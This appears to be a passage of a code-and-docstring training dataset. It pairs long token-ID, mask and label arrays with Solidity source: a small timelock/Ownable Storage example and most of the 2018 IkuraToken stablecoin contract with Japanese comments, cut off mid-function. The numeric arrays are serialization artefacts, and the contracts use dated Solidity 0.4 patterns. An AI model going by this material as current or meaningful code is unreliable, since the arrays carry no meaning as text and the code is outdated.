0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
1435,
3903,
8843,
429,
288,
203,
3639,
309,
12,
3576,
18,
1132,
405,
374,
13,
288,
203,
5411,
3626,
17046,
41,
1136,
12,
3576,
18,
1132,
1769,
203,
3639,
289,
203,
565,
289,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/governance/TimelockController.sol";
/**
* @title Storage
* @dev Store & retrieve value in a variable
*/
contract Storage is TimelockController, Ownable {
constructor(
uint256 minDelay,
address[] memory proposers,
address[] memory executors
) TimelockController(minDelay, proposers, executors) {}
uint256 number;
/**
* @dev Store value in variable
* @param num value to store
*/
function store(uint256 num) public onlyOwner {
number = num;
}
/**
* @dev Return value
* @return value of 'number'
*/
function retrieve() public view returns (uint256) {
return number;
}
}
| * @dev Store value in variable @param num value to store/ | function store(uint256 num) public onlyOwner {
number = num;
}
| 15,834,994 | [
1,
2257,
460,
316,
2190,
225,
818,
460,
358,
1707,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
225,
445,
1707,
12,
11890,
5034,
818,
13,
1071,
1338,
5541,
288,
203,
565,
1300,
273,
818,
31,
203,
225,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
//Address: 0x95709a816a56195062e0a37d1e96a3370613a444
//Contract name: IkuraToken
//Balance: 0 Ether
//Verification Date: 6/13/2018
//Transacion Count: 2
// CODE STARTS HERE
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.4.23;
// import 'ds-auth/auth.sol';
contract DSAuthority {
function canCall(
address src, address dst, bytes4 sig
) public view returns (bool);
}
contract DSAuthEvents {
event LogSetAuthority (address indexed authority);
event LogSetOwner (address indexed owner);
}
contract DSAuth is DSAuthEvents {
DSAuthority public authority;
address public owner;
constructor() public {
owner = msg.sender;
emit LogSetOwner(msg.sender);
}
function setOwner(address owner_)
public
auth
{
owner = owner_;
emit LogSetOwner(owner);
}
function setAuthority(DSAuthority authority_)
public
auth
{
authority = authority_;
emit LogSetAuthority(authority);
}
modifier auth {
require(isAuthorized(msg.sender, msg.sig));
_;
}
function isAuthorized(address src, bytes4 sig) internal view returns (bool) {
if (src == address(this)) {
return true;
} else if (src == owner) {
return true;
} else if (authority == DSAuthority(0)) {
return false;
} else {
return authority.canCall(src, this, sig);
}
}
}
// import 'ds-math/math.sol';
contract DSMath {
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x);
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x);
}
function mul(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x);
}
function min(uint x, uint y) internal pure returns (uint z) {
return x <= y ? x : y;
}
function max(uint x, uint y) internal pure returns (uint z) {
return x >= y ? x : y;
}
function imin(int x, int y) internal pure returns (int z) {
return x <= y ? x : y;
}
function imax(int x, int y) internal pure returns (int z) {
return x >= y ? x : y;
}
uint constant WAD = 10 ** 18;
uint constant RAY = 10 ** 27;
function wmul(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, y), WAD / 2) / WAD;
}
function rmul(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, y), RAY / 2) / RAY;
}
function wdiv(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, WAD), y / 2) / y;
}
function rdiv(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, RAY), y / 2) / y;
}
// This famous algorithm is called "exponentiation by squaring"
// and calculates x^n with x as fixed-point and n as regular unsigned.
//
// It's O(log n), instead of O(n) for naive repeated multiplication.
//
// These facts are why it works:
//
// If n is even, then x^n = (x^2)^(n/2).
// If n is odd, then x^n = x * x^(n-1),
// and applying the equation for even x gives
// x^n = x * (x^2)^((n-1) / 2).
//
// Also, EVM division is flooring and
// floor[(n-1) / 2] = floor[n / 2].
//
function rpow(uint x, uint n) internal pure returns (uint z) {
z = n % 2 != 0 ? x : RAY;
for (n /= 2; n != 0; n /= 2) {
x = rmul(x, x);
if (n % 2 != 0) {
z = rmul(z, x);
}
}
}
}
// import './IkuraStorage.sol';
/**
*
* ロジックの更新に影響されない永続化データを保持するクラス
*
*/
contract IkuraStorage is DSMath, DSAuth {
// オーナー(中央銀行)のアドレス
address[] ownerAddresses;
// 各アドレスのdJPYの口座残高
mapping(address => uint) coinBalances;
// 各アドレスのSHINJI tokenの口座残高
mapping(address => uint) tokenBalances;
// 各アドレスが指定したアドレスに対して許可する最大送金額
mapping(address => mapping (address => uint)) coinAllowances;
// dJPYの発行高
uint _totalSupply = 0;
// 手数料率
// 0.01pips = 1
// 例). 手数料を 0.05% とする場合は 500
uint _transferFeeRate = 500;
// 最低手数料額
// 1 = 1dJPY
// amount * 手数料率で算出した金額がここで設定した最低手数料を下回る場合は、最低手数料額を手数料とする
uint8 _transferMinimumFee = 5;
address tokenAddress;
address multiSigAddress;
address authorityAddress;
// @NOTE リリース時にcontractのdeploy -> watch contract -> setOwnerの流れを
//省略したい場合は、ここで直接controllerのアドレスを指定するとショートカットできます
// 勿論テストは通らなくなるので、テストが通ったら試してね
constructor() public DSAuth() {
/*address controllerAddress = 0x34c5605A4Ef1C98575DB6542179E55eE1f77A188;
owner = controllerAddress;
LogSetOwner(controllerAddress);*/
}
function changeToken(address tokenAddress_) public auth {
tokenAddress = tokenAddress_;
}
function changeAssociation(address multiSigAddress_) public auth {
multiSigAddress = multiSigAddress_;
}
function changeAuthority(address authorityAddress_) public auth {
authorityAddress = authorityAddress_;
}
// --------------------------------------------------
// functions for _totalSupply
// --------------------------------------------------
/**
* 総発行額を返す
*
* @return 総発行額
*/
function totalSupply() public view auth returns (uint) {
return _totalSupply;
}
/**
* 総発行数を増やす(mintと並行して呼ばれることを想定)
*
* @param amount 鋳造数
*/
function addTotalSupply(uint amount) public auth {
_totalSupply = add(_totalSupply, amount);
}
/**
* 総発行数を減らす(burnと並行して呼ばれることを想定)
*
* @param amount 鋳造数
*/
function subTotalSupply(uint amount) public auth {
_totalSupply = sub(_totalSupply, amount);
}
// --------------------------------------------------
// functions for _transferFeeRate
// --------------------------------------------------
/**
* 手数料率を返す
*
* @return 現在の手数料率
*/
function transferFeeRate() public view auth returns (uint) {
return _transferFeeRate;
}
/**
* 手数料率を変更する
*
* @param newTransferFeeRate 新しい手数料率
*
* @return 更新に成功したらtrue、失敗したらfalse(今のところ失敗するケースはない)
*/
function setTransferFeeRate(uint newTransferFeeRate) public auth returns (bool) {
_transferFeeRate = newTransferFeeRate;
return true;
}
// --------------------------------------------------
// functions for _transferMinimumFee
// --------------------------------------------------
/**
* 最低手数料返す
*
* @return 現在の最低手数料
*/
function transferMinimumFee() public view auth returns (uint8) {
return _transferMinimumFee;
}
/**
* 最低手数料を変更する
*
* @param newTransferMinimumFee 新しい最低手数料
*
* @return 更新に成功したらtrue、失敗したらfalse(今のところ失敗するケースはない)
*/
function setTransferMinimumFee(uint8 newTransferMinimumFee) public auth {
_transferMinimumFee = newTransferMinimumFee;
}
// --------------------------------------------------
// functions for ownerAddresses
// --------------------------------------------------
/**
* 指定したユーザーアドレスをオーナーの一覧に追加する
*
* トークンの移動時に内部的にオーナーのアドレスを管理するための関数。
* トークンの所有者 = オーナーという扱いになったので、この配列に含まれるアドレスの一覧は
* 手数料からの収益の分配をする時に利用するだけで、オーナーかどうかの判定には利用しない
*
* @param addr ユーザーのアドレス
*
* @return 処理に成功したらtrue、失敗したらfalse
*/
function addOwnerAddress(address addr) internal returns (bool) {
ownerAddresses.push(addr);
return true;
}
/**
* 指定したユーザーアドレスをオーナーの一覧から削除する
*
* トークンの移動時に内部的にオーナーのアドレスを管理するための関数。
*
* @param addr オーナーに属するユーザーのアドレス
*
* @return 処理に成功したらtrue、失敗したらfalse
*/
function removeOwnerAddress(address addr) internal returns (bool) {
uint i = 0;
while (ownerAddresses[i] != addr) { i++; }
while (i < ownerAddresses.length - 1) {
ownerAddresses[i] = ownerAddresses[i + 1];
i++;
}
ownerAddresses.length--;
return true;
}
/**
* 最初のオーナー(contractをdeployしたユーザー)のアドレスを返す
*
* @return 最初のオーナーのアドレス
*/
function primaryOwner() public view auth returns (address) {
return ownerAddresses[0];
}
/**
* 指定したアドレスがオーナーアドレスに登録されているか返す
*
* @param addr ユーザーのアドレス
*
* @return オーナーに含まれている場合はtrue、含まれていない場合はfalse
*/
function isOwnerAddress(address addr) public view auth returns (bool) {
for (uint i = 0; i < ownerAddresses.length; i++) {
if (ownerAddresses[i] == addr) return true;
}
return false;
}
/**
* オーナー数を返す
*
* @return オーナー数
*/
function numOwnerAddress() public view auth returns (uint) {
return ownerAddresses.length;
}
// --------------------------------------------------
// functions for coinBalances
// --------------------------------------------------
/**
* 指定したユーザーのdJPY残高を返す
*
* @param addr ユーザーのアドレス
*
* @return dJPY残高
*/
function coinBalance(address addr) public view auth returns (uint) {
return coinBalances[addr];
}
/**
* 指定したユーザーのdJPYの残高を増やす
*
* @param addr ユーザーのアドレス
* @param amount 差分
*
* @return 処理に成功したらtrue、失敗したらfalse
*/
function addCoinBalance(address addr, uint amount) public auth returns (bool) {
coinBalances[addr] = add(coinBalances[addr], amount);
return true;
}
/**
* 指定したユーザーのdJPYの残高を減らす
*
* @param addr ユーザーのアドレス
* @param amount 差分
*
* @return 処理に成功したらtrue、失敗したらfalse
*/
function subCoinBalance(address addr, uint amount) public auth returns (bool) {
coinBalances[addr] = sub(coinBalances[addr], amount);
return true;
}
// --------------------------------------------------
// functions for tokenBalances
// --------------------------------------------------
/**
* 指定したユーザーのSHINJIトークンの残高を返す
*
* @param addr ユーザーのアドレス
*
* @return SHINJIトークン残高
*/
function tokenBalance(address addr) public view auth returns (uint) {
return tokenBalances[addr];
}
/**
* 指定したユーザーのSHINJIトークンの残高を増やす
*
* @param addr ユーザーのアドレス
* @param amount 差分
*
* @return 処理に成功したらtrue、失敗したらfalse
*/
function addTokenBalance(address addr, uint amount) public auth returns (bool) {
tokenBalances[addr] = add(tokenBalances[addr], amount);
if (tokenBalances[addr] > 0 && !isOwnerAddress(addr)) {
addOwnerAddress(addr);
}
return true;
}
/**
* 指定したユーザーのSHINJIトークンの残高を減らす
*
* @param addr ユーザーのアドレス
* @param amount 差分
*
* @return 処理に成功したらtrue、失敗したらfalse
*/
function subTokenBalance(address addr, uint amount) public auth returns (bool) {
tokenBalances[addr] = sub(tokenBalances[addr], amount);
if (tokenBalances[addr] <= 0) {
removeOwnerAddress(addr);
}
return true;
}
// --------------------------------------------------
// functions for coinAllowances
// --------------------------------------------------
/**
* 送金許可金額を返す
*
* @param owner_ 送金者
* @param spender 送金代行者
*
* @return 送金許可金額
*/
function coinAllowance(address owner_, address spender) public view auth returns (uint) {
return coinAllowances[owner_][spender];
}
/**
* 送金許可金額を指定した金額だけ増やす
*
* @param owner_ 送金者
* @param spender 送金代行者
* @param amount 金額
*
* @return 更新に成功したらtrue、失敗したらfalse
*/
function addCoinAllowance(address owner_, address spender, uint amount) public auth returns (bool) {
coinAllowances[owner_][spender] = add(coinAllowances[owner_][spender], amount);
return true;
}
/**
* 送金許可金額を指定した金額だけ減らす
*
* @param owner_ 送金者
* @param spender 送金代行者
* @param amount 金額
*
* @return 更新に成功したらtrue、失敗したらfalse
*/
function subCoinAllowance(address owner_, address spender, uint amount) public auth returns (bool) {
coinAllowances[owner_][spender] = sub(coinAllowances[owner_][spender], amount);
return true;
}
/**
* 送金許可金額を指定した値に更新する
*
* @param owner_ 送金者
* @param spender 送金代行者
* @param amount 送金許可金額
*
* @return 指定に成功したらtrue、失敗したらfalse
*/
function setCoinAllowance(address owner_, address spender, uint amount) public auth returns (bool) {
coinAllowances[owner_][spender] = amount;
return true;
}
/**
* 権限チェック用関数のoverride
*
* @param src 実行者アドレス
* @param sig 実行関数の識別子
*
* @return 実行が許可されていればtrue、そうでなければfalse
*/
function isAuthorized(address src, bytes4 sig) internal view returns (bool) {
sig; // #HACK
return src == address(this) ||
src == owner ||
src == tokenAddress ||
src == authorityAddress ||
src == multiSigAddress;
}
}
// import './IkuraTokenEvent.sol';
/**
* Tokenでの処理に関するイベント定義
*
* - ERC20に準拠したイベント(Transfer / Approval)
* - IkuraTokenの独自イベント(TransferToken / TransferFee)
*/
contract IkuraTokenEvent {
/** オーナーがdJPYを鋳造した際に発火するイベント */
event IkuraMint(address indexed owner, uint);
/** オーナーがdJPYを消却した際に発火するイベント */
event IkuraBurn(address indexed owner, uint);
/** トークンの移動時に発火するイベント */
event IkuraTransferToken(address indexed from, address indexed to, uint value);
/** 手数料が発生したときに発火するイベント */
event IkuraTransferFee(address indexed from, address indexed to, address indexed owner, uint value);
/**
* テスト時にこのイベントも流れてくるはずなので追加で定義
* controllerでもイベントを発火させているが、ゆくゆくはここでIkuraTokenのバージョンとか追加の情報を投げる可能性もあるので残留。
*/
event IkuraTransfer(address indexed from, address indexed to, uint value);
/** 送金許可イベント */
event IkuraApproval(address indexed owner, address indexed spender, uint value);
}
// import './IkuraAssociation.sol';
/**
* 経過時間とSHINJI Tokenの所有比率によって特定のアクションの承認を行うクラス
*/
contract IkuraAssociation is DSMath, DSAuth {
//
// public
//
// 提案が承認されるために必要な賛成票の割合
uint public confirmTotalTokenThreshold = 50;
//
// private
//
// データの永続化ストレージ
IkuraStorage _storage;
IkuraToken _token;
// 提案一覧
Proposal[] mintProposals;
Proposal[] burnProposals;
mapping (bytes32 => Proposal[]) proposals;
struct Proposal {
address proposer; // 提案者
bytes32 digest; // チェックサム
bool executed; // 実行の有無
uint createdAt; // 提案作成日時
uint expireAt; // 提案の締め切り
address[] confirmers; // 承認者
uint amount; // 鋳造量
}
//
// Events
//
event MintProposalAdded(uint proposalId, address proposer, uint amount);
event MintConfirmed(uint proposalId, address confirmer, uint amount);
event MintExecuted(uint proposalId, address proposer, uint amount);
event BurnProposalAdded(uint proposalId, address proposer, uint amount);
event BurnConfirmed(uint proposalId, address confirmer, uint amount);
event BurnExecuted(uint proposalId, address proposer, uint amount);
constructor() public {
proposals[keccak256('mint')] = mintProposals;
proposals[keccak256('burn')] = burnProposals;
// @NOTE リリース時にcontractのdeploy -> watch contract -> setOwnerの流れを
//省略したい場合は、ここで直接controllerのアドレスを指定するとショートカットできます
// 勿論テストは通らなくなるので、テストが通ったら試してね
/*address controllerAddress = 0x34c5605A4Ef1C98575DB6542179E55eE1f77A188;
owner = controllerAddress;
LogSetOwner(controllerAddress);*/
}
/**
* 永続化ストレージを設定する
*
* @param newStorage 永続化ストレージのインスタンス(アドレス)
*/
function changeStorage(IkuraStorage newStorage) public auth returns (bool) {
_storage = newStorage;
return true;
}
function changeToken(IkuraToken token_) public auth returns (bool) {
_token = token_;
return true;
}
/**
* 提案を作成する
*
* @param proposer 提案者のアドレス
* @param amount 鋳造量
*/
function newProposal(bytes32 type_, address proposer, uint amount, bytes transationBytecode) public returns (uint) {
uint proposalId = proposals[type_].length++;
Proposal storage proposal = proposals[type_][proposalId];
proposal.proposer = proposer;
proposal.amount = amount;
proposal.digest = keccak256(proposer, amount, transationBytecode);
proposal.executed = false;
proposal.createdAt = now;
proposal.expireAt = proposal.createdAt + 86400;
// 提案の種類毎に実行すべき内容を実行する
// @NOTE literal_stringとbytesは単純に比較できないのでkeccak256のハッシュ値で比較している
if (type_ == keccak256('mint')) emit MintProposalAdded(proposalId, proposer, amount);
if (type_ == keccak256('burn')) emit BurnProposalAdded(proposalId, proposer, amount);
// 本人は当然承認
confirmProposal(type_, proposer, proposalId);
return proposalId;
}
/**
* トークン所有者が提案に対して賛成する
*
* @param type_ 提案の種類
* @param confirmer 承認者のアドレス
* @param proposalId 提案ID
*/
function confirmProposal(bytes32 type_, address confirmer, uint proposalId) public {
Proposal storage proposal = proposals[type_][proposalId];
// 既に承認済みの場合はエラーを返す
require(!hasConfirmed(type_, confirmer, proposalId));
// 承認行為を行ったフラグを立てる
proposal.confirmers.push(confirmer);
// 提案の種類毎に実行すべき内容を実行する
// @NOTE literal_stringとbytesは単純に比較できないのでkeccak256のハッシュ値で比較している
if (type_ == keccak256('mint')) emit MintConfirmed(proposalId, confirmer, proposal.amount);
if (type_ == keccak256('burn')) emit BurnConfirmed(proposalId, confirmer, proposal.amount);
if (isProposalExecutable(type_, proposalId, proposal.proposer, '')) {
proposal.executed = true;
// 提案の種類毎に実行すべき内容を実行する
// @NOTE literal_stringとbytesは単純に比較できないのでkeccak256のハッシュ値で比較している
if (type_ == keccak256('mint')) executeMintProposal(proposalId);
if (type_ == keccak256('burn')) executeBurnProposal(proposalId);
}
}
/**
* 既に承認済みの提案かどうかを返す
*
* @param type_ 提案の種類
* @param addr 承認者のアドレス
* @param proposalId 提案ID
*
* @return 承認済みであればtrue、そうでなければfalse
*/
function hasConfirmed(bytes32 type_, address addr, uint proposalId) internal view returns (bool) {
Proposal storage proposal = proposals[type_][proposalId];
uint length = proposal.confirmers.length;
for (uint i = 0; i < length; i++) {
if (proposal.confirmers[i] == addr) return true;
}
return false;
}
/**
* 指定した提案を承認したトークンの総量を返す
*
* @param type_ 提案の種類
* @param proposalId 提案ID
*
* @return 承認に投票されたトークン数
*/
function confirmedTotalToken(bytes32 type_, uint proposalId) internal view returns (uint) {
Proposal storage proposal = proposals[type_][proposalId];
uint length = proposal.confirmers.length;
uint total = 0;
for (uint i = 0; i < length; i++) {
total = add(total, _storage.tokenBalance(proposal.confirmers[i]));
}
return total;
}
/**
* 指定した提案の締め切りを返す
*
* @param type_ 提案の種類
* @param proposalId 提案ID
*
* @return 提案の締め切り
*/
function proposalExpireAt(bytes32 type_, uint proposalId) public view returns (uint) {
Proposal storage proposal = proposals[type_][proposalId];
return proposal.expireAt;
}
/**
* 提案が実行条件を満たしているかを返す
*
* 【承認条件】
* - まだ実行していない
* - 提案の有効期限内である
* - 指定した割合以上の賛成トークンを得ている
*
* @param proposalId 提案ID
*
* @return 実行条件を満たしている場合はtrue、そうでない場合はfalse
*/
function isProposalExecutable(bytes32 type_, uint proposalId, address proposer, bytes transactionBytecode) internal view returns (bool) {
Proposal storage proposal = proposals[type_][proposalId];
// オーナーがcontrollerを登録したユーザーしか存在しない場合は
if (_storage.numOwnerAddress() < 2) {
return true;
}
return proposal.digest == keccak256(proposer, proposal.amount, transactionBytecode) &&
isProposalNotExpired(type_, proposalId) &&
mul(100, confirmedTotalToken(type_, proposalId)) / _storage.totalSupply() > confirmTotalTokenThreshold;
}
/**
* 指定した種類の提案数を取得する
*
* @param type_ 提案の種類('mint' | 'burn' | 'transferMinimumFee' | 'transferFeeRate')
*
* @return 提案数(承認されていないものも含む)
*/
function numberOfProposals(bytes32 type_) public constant returns (uint) {
return proposals[type_].length;
}
/**
* 未承認で有効期限の切れていない提案の数を返す
*
* @param type_ 提案の種類('mint' | 'burn' | 'transferMinimumFee' | 'transferFeeRate')
*
* @return 提案数
*/
function numberOfActiveProposals(bytes32 type_) public view returns (uint) {
uint numActiveProposal = 0;
for(uint i = 0; i < proposals[type_].length; i++) {
if (isProposalNotExpired(type_, i)) {
numActiveProposal++;
}
}
return numActiveProposal;
}
/**
* 提案の有効期限が切れていないかチェックする
*
* - 実行されていない
* - 有効期限が切れていない
*
* 場合のみtrueを返す
*/
function isProposalNotExpired(bytes32 type_, uint proposalId) internal view returns (bool) {
Proposal storage proposal = proposals[type_][proposalId];
return !proposal.executed &&
now < proposal.expireAt;
}
/**
* dJPYを鋳造する
*
* - 鋳造する量が0より大きい
*
* 場合は成功する
*
* @param proposalId 提案ID
*/
function executeMintProposal(uint proposalId) internal returns (bool) {
Proposal storage proposal = proposals[keccak256('mint')][proposalId];
// ここでも念のためチェックを入れる
require(proposal.amount > 0);
emit MintExecuted(proposalId, proposal.proposer, proposal.amount);
// 総供給量 / 実行者のdJPY / 実行者のSHINJI tokenを増やす
_storage.addTotalSupply(proposal.amount);
_storage.addCoinBalance(proposal.proposer, proposal.amount);
_storage.addTokenBalance(proposal.proposer, proposal.amount);
return true;
}
/**
* dJPYを消却する
*
* - 消却する量が0より大きい
* - 提案者の所有するdJPYの残高がamount以上
* - 提案者の所有するSHINJIがamountよりも大きい
*
* 場合は成功する
*
* @param proposalId 提案ID
*/
function executeBurnProposal(uint proposalId) internal returns (bool) {
Proposal storage proposal = proposals[keccak256('burn')][proposalId];
// ここでも念のためチェックを入れる
require(proposal.amount > 0);
require(_storage.coinBalance(proposal.proposer) >= proposal.amount);
require(_storage.tokenBalance(proposal.proposer) >= proposal.amount);
emit BurnExecuted(proposalId, proposal.proposer, proposal.amount);
// 総供給量 / 実行者のdJPY / 実行者のSHINJI tokenを減らす
_storage.subTotalSupply(proposal.amount);
_storage.subCoinBalance(proposal.proposer, proposal.amount);
_storage.subTokenBalance(proposal.proposer, proposal.amount);
return true;
}
function isAuthorized(address src, bytes4 sig) internal view returns (bool) {
sig; // #HACK
return src == address(this) ||
src == owner ||
src == address(_token);
}
}
// import './lib/ProposalLibrary.sol';
/**
*
* 承認プロセスの実装ライブラリ
* IkuraTokenに実装するとサイズ超過してしまうため、ライブラリとして切り出している
*
* 今のところギリギリおさまっているので使ってはいない
*/
library ProposalLibrary {
//
// structs
//
// tokenのstorage/associationを参照するための構造体
struct Entity {
IkuraStorage _storage;
IkuraAssociation _association;
}
/**
* 永続化ストレージを設定する
*
* @param self 実行Entity
* @param storage_ 永続化ストレージのインスタンス(アドレス)
*/
function changeStorage(Entity storage self, address storage_) internal {
self._storage = IkuraStorage(storage_);
}
/**
* 関連づける承認プロセスを変更する
*
* @param self 実行Entity
* @param association_ 新しい承認プロセス
*/
function changeAssociation(Entity storage self, address association_) internal {
self._association = IkuraAssociation(association_);
}
/**
* dJPYを鋳造する
*
* - コマンドを実行したユーザがオーナーである
* - 鋳造する量が0より大きい
*
* 場合は成功する
*
* @param self 実行Entity
* @param sender 実行アドレス
* @param amount 鋳造する金額
*/
function mint(Entity storage self, address sender, uint amount) public returns (bool) {
require(amount > 0);
self._association.newProposal(keccak256('mint'), sender, amount, '');
return true;
}
/**
* dJPYを消却する
*
* - コマンドを実行したユーザがオーナーである
* - 鋳造する量が0より大きい
* - dJPYの残高がamountよりも大きい
* - SHINJIをamountよりも大きい
*
* 場合は成功する
*
* @param self 実行Entity
* @param sender 実行アドレス
* @param amount 消却する金額
*/
function burn(Entity storage self, address sender, uint amount) public returns (bool) {
require(amount > 0);
require(self._storage.coinBalance(sender) >= amount);
require(self._storage.tokenBalance(sender) >= amount);
